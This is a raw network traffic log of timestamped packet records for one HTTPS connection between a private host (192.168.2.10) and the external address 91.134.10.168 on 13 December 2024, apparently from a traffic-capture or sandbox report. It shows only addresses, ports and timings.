Dec 13, 2024 13:28:38.637242079 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.637320995 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.639214039 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.639297009 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.641406059 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.641504049 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.642417908 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.642463923 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.644507885 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.644563913 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.646542072 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.646600962 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.647748947 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.647804022 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.649720907 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.649779081 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.651798010 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.651859999 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.652944088 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.653000116 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.654948950 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.655014038 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.656584978 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.656644106 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.658662081 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.658704996 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.660703897 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.660748005 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.661904097 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.662007093 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.663857937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.663904905 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.665957928 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.666013956 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.667191029 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.667246103 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.669114113 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.669164896 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.671268940 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.671325922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.672498941 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.672559023 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.674371958 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.674432039 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.757452965 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.757519007 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.759497881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.759552002 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.815671921 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.815745115 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.817804098 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.817867041 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.819689035 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.819786072 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.820827961 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.820888042 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.822948933 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.823021889 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.824943066 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.825031042 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.826143026 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.826209068 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.828197002 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.828262091 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.830177069 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.830249071 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.832271099 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.832338095 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.833429098 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.833494902 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.835421085 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.835485935 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.837641001 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.837701082 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.838694096 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.838747025 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.840656996 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.840727091 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.842734098 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.842806101 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.844013929 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.844089031 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.846195936 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.846271992 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.848021030 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.848093987 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.849595070 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.849672079 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.851710081 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.851789951 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.852812052 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.852875948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.854837894 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.854903936 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.857034922 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.857127905 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.858488083 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.858546019 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.860110044 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.860196114 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.862238884 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.862310886 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.863281012 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.863346100 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.865542889 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.865650892 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.949261904 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.949342966 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:38.949763060 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:38.949855089 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.007721901 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.007798910 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.008086920 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.008147955 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.010276079 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.010340929 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.012155056 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.012222052 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.013264894 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.013331890 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.015398979 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.015466928 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.017453909 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.017517090 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.018593073 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.018651962 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.020658970 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.020725965 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.022663116 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.022716999 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.023869991 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.023941040 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.025954962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.026027918 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.027909040 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.027967930 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.029062033 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.029129982 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.031204939 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.031265974 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.033155918 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.033246994 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.035408020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.035515070 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.036441088 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.036506891 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.038408995 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.038487911 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.040157080 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.040219069 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.042079926 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.042144060 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.043260098 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.043335915 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.045344114 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.045412064 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.047362089 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.047425032 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.048511982 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.048583031 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.050688982 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.050755024 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.052594900 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.052669048 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.054656982 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.054707050 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.055824995 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.055929899 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.057841063 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.057908058 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.140911102 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.140995026 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.142348051 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.142421961 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.203397989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.203475952 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.204837084 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.204899073 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.206068993 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.206137896 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.207947969 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.208018064 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.210218906 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.210285902 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.211144924 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.211215973 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.213134050 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.213206053 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.215233088 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.215296984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.216449976 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.216517925 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.218513012 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.218569994 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.220622063 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.220696926 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.221853018 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.221918106 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.224014997 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.224081039 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.225878954 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.225961924 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.226978064 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.227041006 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.229096889 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.229170084 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.231034994 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.231188059 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.232194901 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.232265949 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.234424114 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.234487057 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.236212969 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.236279011 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.237942934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.238029003 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.239900112 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.239964962 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.241199970 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.241266966 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.243185043 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.243257046 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.245162964 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.245238066 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.246313095 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.246377945 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.248420954 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.248488903 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.250454903 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.250521898 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.251612902 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.251677990 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.253746986 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.253803015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.333502054 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.333604097 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.335079908 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.335150957 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.395391941 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.395477057 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.396862030 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.396919966 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.398957968 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.399020910 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.400116920 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.400185108 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.402117014 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.402189016 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.404269934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.404355049 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.405360937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.405421972 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.407444000 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.407511950 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.409486055 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.409544945 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.410815954 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.410887003 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.412658930 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.412736893 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.414819956 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.414923906 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.415931940 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.415997982 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.418076038 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.418152094 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.419958115 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.420031071 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.421287060 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.421346903 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.423206091 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.423258066 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.425229073 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.425292015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.426414967 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.426474094 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.428478003 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.428529978 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.430018902 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.430099964 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.432126999 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.432185888 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.434180975 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.434283018 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.435431004 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.435491085 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.437428951 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.437498093 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.439476013 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.439531088 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.440588951 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.440871000 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.442691088 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.442759991 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.444724083 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.444782019 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.445861101 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.445935011 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.527518034 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.527631998 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.528872967 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.528978109 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.587543011 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.587635040 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.588943005 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.589009047 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.590794086 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.590856075 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.592792034 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.592860937 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.593934059 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.594018936 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.595788956 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.595843077 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.597755909 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.597819090 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.598872900 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.598939896 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.600892067 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.600963116 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.602845907 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.602916956 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.603888035 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.603961945 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.605911016 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.605979919 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.607824087 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.607902050 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.608834028 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.608892918 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.610791922 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.610846996 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.612809896 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.612875938 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.613852978 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.613912106 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.615830898 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.615896940 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.617780924 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.618030071 CET	49732	443	192.168.2.10	91.134.10.168
